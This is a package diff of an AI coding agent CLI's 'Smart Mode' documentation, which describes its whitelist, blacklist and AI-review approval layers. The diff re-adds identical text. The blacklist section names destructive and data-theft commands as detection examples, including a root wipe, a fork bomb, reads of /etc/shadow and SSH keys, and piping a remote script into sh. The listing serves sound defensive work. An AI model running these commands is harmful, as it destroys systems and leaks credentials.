@xagent-ai/cli 1.2.2 → 1.3.0

package/docs/smart-mode.md

@@ -1,281 +1,281 @@
-# Smart Mode - Intelligent Approval System
-
-## Overview
-
-Smart Mode is a new security approval feature introduced in xAgent CLI 1.0.0. It provides intelligent security protection through a three-layer progressive approval architecture while ensuring development efficiency.
-
-## Three-Layer Approval Architecture
-
-Smart Mode uses a progressive approval process, with each layer having specific responsibilities:
-
-```
-User Request → Whitelist Check → Blacklist Check → AI Review → Execution Decision
-    ↓              ↓                ↓              ↓              ↓
-   Safe       Pass Directly    Risk Detection  AI Analysis   User Confirm/Auto Execute
-```
-
-### Layer 1: Whitelist Check
-
-- **Purpose**: Quickly identify and pass verified safe tools
-- **Mechanism**: Maintain a predefined list of safe tools
-- **Result**: Whitelisted tools execute directly without further review
-- **Advantage**: Zero latency, improving efficiency for common operations
-
-**Whitelisted Tools**:
-
-Information Reading Tools:
-- `Read`
-- `ListDirectory`
-- `SearchCodebase`
-- `Grep`
-- `image_read`
-
-Task Management Tools:
-- `todo_write`
-- `todo_read`
-- `task`
-- `exit_plan_mode`
-- `web_search`
-
-File Editing Tools:
-- `replace`
-- `Write`
-
-Other Safe Tools:
-- `web_fetch`
-- `ask_user_question`
-- `save_memory`
-- `xml_escape`
-- `InvokeSkill`
-
-### Layer 2: Blacklist Check
-
-Rule-based detection of high-risk operations, covering the following main risk categories:
-
-**System Destruction**:
-- Delete root directory: `rm -rf /`
-- Delete system directories: delete `/etc`, `/usr`, `/bin`
-- Batch delete files: wildcard-based batch deletion
-- Format disk: `mkfs`, `format`
-- Overwrite disk data: `dd`
-
-**Privilege Escalation**:
-- Modify sudo permissions: modify `/etc/sudoers`
-- Set SUID permissions: set special permissions for programs
-- Modify file permissions to 777: set file to rwx for all users
-- Disable security modules: disable SELinux, firewall, Windows Defender, etc.
-
-**Data Theft**:
-- Read password files: access `/etc/passwd`, `/etc/shadow`
-- Read SSH keys: access `~/.ssh/id_rsa`
-- Search for password information: search for password-related info in system
-- Upload files to external: use `curl`, `wget`
-- Remote code execution: `curl malicious-site.com | sh`
-
-**Network Attacks**:
-- Network scanning: `nmap`
-- Create network listener: `nc -l`
-- Clear firewall rules: `iptables -F`
-
-**Resource Exhaustion**:
-- Fork bomb: `:() { :|:& };:`
-- Infinite loop: `while true; do ... done`
-
-### Layer 3: AI Intelligent Review
-
-When tool calls don't match whitelist or blacklist, they enter AI intelligent review. The AI reviewer analyzes the following dimensions:
-
-1. Whether the operation has malicious intent
-2. Whether it may cause data leakage
-3. Whether it may compromise system integrity
-4. Whether it follows best practices
-
-## Usage
-
-### Enable via Command Line
-
-```bash
-xagent start --approval-mode smart
-```
-
-### Enable via Configuration File
-
-Add to `.xagent/settings.json`:
-
-```json
-{
-  "approvalMode": "smart"
-}
-```
-
-### Switch at Runtime
-
-Use slash command in xAgent CLI session:
-
-```bash
-/mode smart
-```
-
-View all available modes:
-
-```bash
-/mode
-```
-
-## User Experience
-
-### Safe Operations (Whitelist)
-
-```
-> Read project configuration file
-✅ [Smart Mode] Tool 'Read' passed whitelist check, executing directly
-  Detection: Whitelist
-  Latency: 1ms
-```
-
-### Risky Operations (Blacklist Triggered)
-
-```
-> Delete temporary files
-🟠 [Smart Mode] Detected potentially risky operation
-📊 Risk Level: HIGH
-🔍 Detection: Blacklist Rules
-⚠️  Description: Detected system file deletion command
-Potential risk detected, continue execution?
-[y] Yes  [n] No
-```
-
-### AI Review Scenario
-
-```
-> Batch process user data
-🟡 [Smart Mode] AI review detected medium risk
-📊 Risk Level: MEDIUM
-🔍 Detection: AI Intelligent Review
-🤖 AI Analysis: Batch data operation may affect user privacy, confirm data processing scope
-Potential risk detected, continue execution?
-[y] Yes  [n] No
-```
-
-## Performance Characteristics
-
-- **Whitelist Check**: < 1ms, memory lookup
-- **Blacklist Check**: < 50ms, regex matching
-- **AI Review**: < 5s
-
-## Debug Mode
-
-Enable debug mode to view detailed approval process:
-
-```bash
-DEBUG=smart-approval xagent start --approval-mode smart
-```
-
-Example Output:
-
-```
-[SmartApprovalEngine] Evaluating tool call: run_shell_command
-[WhitelistChecker] Tool 'run_shell_command' not in whitelist
-[BlacklistChecker] Checking command: rm -rf /tmp/cache
-[BlacklistChecker] Matched rule: System File Deletion, Risk: HIGH
-[SmartApprovalEngine] Decision: RISKY, Layer: blacklist, Latency: 23ms
-```
-
-## FAQ
-
-### Q: Smart Mode approval is too strict, affecting development efficiency?
-
-A: Smart Mode's whitelist already includes most commonly used safe tools. If you encounter frequent false positives:
-
-- Check if you're using tool aliases not in the whitelist
-- Review specific blacklist rules for being too strict
-- Consider temporarily switching to other approval modes in development environment
-
-### Q: AI review often times out?
-
-A: AI review depends on network connection. If timeouts occur frequently:
-
-- Check network connection status
-- Confirm login status (requires aone or xAgent account)
-- Consider disabling AI review when network is unstable
-
-### Q: How to view approval statistics?
-
-A: Use debug mode to view detailed logs:
-
-```bash
-DEBUG=smart-approval xagent start --approval-mode smart
-```
-
-## Implementation Details
-
-### Core Files
-
-- `src/smart-approval.ts` - Smart approval engine core implementation
-- `src/tools.ts` - Tool execution logic, integrated with smart approval
-- `src/config.ts` - Configuration management, added approvalMode support
-- `src/cli.ts` - Command line arguments, added --approval-mode option
-- `src/session.ts` - Session management, supports smart mode
-- `src/slash-commands.ts` - Slash commands, added /mode smart support
-- `src/remote-ai-client.ts` - Remote AI client (remote mode support)
-
-### Main Classes
-
-- `SmartApprovalEngine` - Smart approval engine main class
-- `WhitelistChecker` - Whitelist checker
-- `BlacklistChecker` - Blacklist checker
-- `AIApprovalChecker` - AI approval checker
-
-### Remote Mode Support
-
-Smart Mode has different behaviors in remote mode (OAuth authentication):
-
-1. **Local Mode** (API Key Authentication):
-   - All three layers of approval execute locally
-   - Whitelisted tools pass directly
-   - Blacklisted tools require user confirmation
-   - Unknown tools are reviewed by local AI
-
-2. **Remote Mode** (OAuth Authentication):
-   - Tools are synchronized to remote server
-   - Remote LLM is responsible for tool approval
-   - Local AIApprovalChecker approves directly
-   - Tool execution results sync back to local
-
-### Type Definitions
-
-```typescript
-export enum ApprovalDecision {
-  APPROVED = 'approved',
-  REJECTED = 'rejected',
-  REQUIRES_CONFIRMATION = 'requires_confirmation',
-  AI_REVIEW = 'ai_review'
-}
-
-export enum RiskLevel {
-  LOW = 'LOW',
-  MEDIUM = 'MEDIUM',
-  HIGH = 'HIGH',
-  CRITICAL = 'CRITICAL'
-}
-
-export interface ApprovalResult {
-  decision: ApprovalDecision;
-  riskLevel: RiskLevel;
-  detectionMethod: 'whitelist' | 'blacklist' | 'ai_review' | 'manual';
-  description: string;
-  latency: number;
-  aiAnalysis?: string;
-}
-
-export interface ToolCallContext {
-  toolName: string;
-  params: any;
-  timestamp: number;
-}
-```
-
-## Related Links
-- [xAgent CLI GitHub](https://github.com/xagent-ai/xagent)
-- [Architecture Overview](./docs/architecture/overview.md)
-- [Tool System Design](./docs/architecture/tool-system-design.md)
+# Smart Mode - Intelligent Approval System
+
+## Overview
+
+Smart Mode is a new security approval feature introduced in xAgent CLI 1.0.0. It provides intelligent security protection through a three-layer progressive approval architecture while ensuring development efficiency.
+
+## Three-Layer Approval Architecture
+
+Smart Mode uses a progressive approval process, with each layer having specific responsibilities:
+
+```
+User Request → Whitelist Check → Blacklist Check → AI Review → Execution Decision
+    ↓              ↓                ↓              ↓              ↓
+   Safe       Pass Directly    Risk Detection  AI Analysis   User Confirm/Auto Execute
+```
+
+### Layer 1: Whitelist Check
+
+- **Purpose**: Quickly identify and pass verified safe tools
+- **Mechanism**: Maintain a predefined list of safe tools
+- **Result**: Whitelisted tools execute directly without further review
+- **Advantage**: Zero latency, improving efficiency for common operations
+
+**Whitelisted Tools**:
+
+Information Reading Tools:
+- `Read`
+- `ListDirectory`
+- `SearchCodebase`
+- `Grep`
+- `image_read`
+
+Task Management Tools:
+- `todo_write`
+- `todo_read`
+- `task`
+- `exit_plan_mode`
+- `web_search`
+
+File Editing Tools:
+- `replace`
+- `Write`
+
+Other Safe Tools:
+- `web_fetch`
+- `ask_user_question`
+- `save_memory`
+- `xml_escape`
+- `InvokeSkill`
+
+### Layer 2: Blacklist Check
+
+Rule-based detection of high-risk operations, covering the following main risk categories:
+
+**System Destruction**:
+- Delete root directory: `rm -rf /`
+- Delete system directories: delete `/etc`, `/usr`, `/bin`
+- Batch delete files: wildcard-based batch deletion
+- Format disk: `mkfs`, `format`
+- Overwrite disk data: `dd`
+
+**Privilege Escalation**:
+- Modify sudo permissions: modify `/etc/sudoers`
+- Set SUID permissions: set special permissions for programs
+- Modify file permissions to 777: set file to rwx for all users
+- Disable security modules: disable SELinux, firewall, Windows Defender, etc.
+
+**Data Theft**:
+- Read password files: access `/etc/passwd`, `/etc/shadow`
+- Read SSH keys: access `~/.ssh/id_rsa`
+- Search for password information: search for password-related info in system
+- Upload files to external: use `curl`, `wget`
+- Remote code execution: `curl malicious-site.com | sh`
+
+**Network Attacks**:
+- Network scanning: `nmap`
+- Create network listener: `nc -l`
+- Clear firewall rules: `iptables -F`
+
+**Resource Exhaustion**:
+- Fork bomb: `:() { :|:& };:`
+- Infinite loop: `while true; do ... done`
+
+### Layer 3: AI Intelligent Review
+
+When tool calls don't match whitelist or blacklist, they enter AI intelligent review. The AI reviewer analyzes the following dimensions:
+
+1. Whether the operation has malicious intent
+2. Whether it may cause data leakage
+3. Whether it may compromise system integrity
+4. Whether it follows best practices
+
+## Usage
+
+### Enable via Command Line
+
+```bash
+xagent start --approval-mode smart
+```
+
+### Enable via Configuration File
+
+Add to `.xagent/settings.json`:
+
+```json
+{
+  "approvalMode": "smart"
+}
+```
+
+### Switch at Runtime
+
+Use slash command in xAgent CLI session:
+
+```bash
+/mode smart
+```
+
+View all available modes:
+
+```bash
+/mode
+```
+
+## User Experience
+
+### Safe Operations (Whitelist)
+
+```
+> Read project configuration file
+✅ [Smart Mode] Tool 'Read' passed whitelist check, executing directly
+  Detection: Whitelist
+  Latency: 1ms
+```
+
+### Risky Operations (Blacklist Triggered)
+
+```
+> Delete temporary files
+🟠 [Smart Mode] Detected potentially risky operation
+📊 Risk Level: HIGH
+🔍 Detection: Blacklist Rules
+⚠️  Description: Detected system file deletion command
+Potential risk detected, continue execution?
+[y] Yes  [n] No
+```
+
+### AI Review Scenario
+
+```
+> Batch process user data
+🟡 [Smart Mode] AI review detected medium risk
+📊 Risk Level: MEDIUM
+🔍 Detection: AI Intelligent Review
+🤖 AI Analysis: Batch data operation may affect user privacy, confirm data processing scope
+Potential risk detected, continue execution?
+[y] Yes  [n] No
+```
+
+## Performance Characteristics
+
+- **Whitelist Check**: < 1ms, memory lookup
+- **Blacklist Check**: < 50ms, regex matching
+- **AI Review**: < 5s
+
+## Debug Mode
+
+Enable debug mode to view detailed approval process:
+
+```bash
+DEBUG=smart-approval xagent start --approval-mode smart
+```
+
+Example Output:
+
+```
+[SmartApprovalEngine] Evaluating tool call: run_shell_command
+[WhitelistChecker] Tool 'run_shell_command' not in whitelist
+[BlacklistChecker] Checking command: rm -rf /tmp/cache
+[BlacklistChecker] Matched rule: System File Deletion, Risk: HIGH
+[SmartApprovalEngine] Decision: RISKY, Layer: blacklist, Latency: 23ms
+```
+
+## FAQ
+
+### Q: Smart Mode approval is too strict, affecting development efficiency?
+
+A: Smart Mode's whitelist already includes most commonly used safe tools. If you encounter frequent false positives:
+
+- Check if you're using tool aliases not in the whitelist
+- Review specific blacklist rules for being too strict
+- Consider temporarily switching to other approval modes in development environment
+
+### Q: AI review often times out?
+
+A: AI review depends on network connection. If timeouts occur frequently:
+
+- Check network connection status
+- Confirm login status (requires aone or xAgent account)
+- Consider disabling AI review when network is unstable
+
+### Q: How to view approval statistics?
+
+A: Use debug mode to view detailed logs:
+
+```bash
+DEBUG=smart-approval xagent start --approval-mode smart
+```
+
+## Implementation Details
+
+### Core Files
+
+- `src/smart-approval.ts` - Smart approval engine core implementation
+- `src/tools.ts` - Tool execution logic, integrated with smart approval
+- `src/config.ts` - Configuration management, added approvalMode support
+- `src/cli.ts` - Command line arguments, added --approval-mode option
+- `src/session.ts` - Session management, supports smart mode
+- `src/slash-commands.ts` - Slash commands, added /mode smart support
+- `src/remote-ai-client.ts` - Remote AI client (remote mode support)
+
+### Main Classes
+
+- `SmartApprovalEngine` - Smart approval engine main class
+- `WhitelistChecker` - Whitelist checker
+- `BlacklistChecker` - Blacklist checker
+- `AIApprovalChecker` - AI approval checker
+
+### Remote Mode Support
+
+Smart Mode has different behaviors in remote mode (OAuth authentication):
+
+1. **Local Mode** (API Key Authentication):
+   - All three layers of approval execute locally
+   - Whitelisted tools pass directly
+   - Blacklisted tools require user confirmation
+   - Unknown tools are reviewed by local AI
+
+2. **Remote Mode** (OAuth Authentication):
+   - Tools are synchronized to remote server
+   - Remote LLM is responsible for tool approval
+   - Local AIApprovalChecker approves directly
+   - Tool execution results sync back to local
+
+### Type Definitions
+
+```typescript
+export enum ApprovalDecision {
+  APPROVED = 'approved',
+  REJECTED = 'rejected',
+  REQUIRES_CONFIRMATION = 'requires_confirmation',
+  AI_REVIEW = 'ai_review'
+}
+
+export enum RiskLevel {
+  LOW = 'LOW',
+  MEDIUM = 'MEDIUM',
+  HIGH = 'HIGH',
+  CRITICAL = 'CRITICAL'
+}
+
+export interface ApprovalResult {
+  decision: ApprovalDecision;
+  riskLevel: RiskLevel;
+  detectionMethod: 'whitelist' | 'blacklist' | 'ai_review' | 'manual';
+  description: string;
+  latency: number;
+  aiAnalysis?: string;
+}
+
+export interface ToolCallContext {
+  toolName: string;
+  params: any;
+  timestamp: number;
+}
+```
+
+## Related Links
+- [xAgent CLI GitHub](https://github.com/xagent-ai/xagent)
+- [Architecture Overview](./docs/architecture/overview.md)
+- [Tool System Design](./docs/architecture/tool-system-design.md)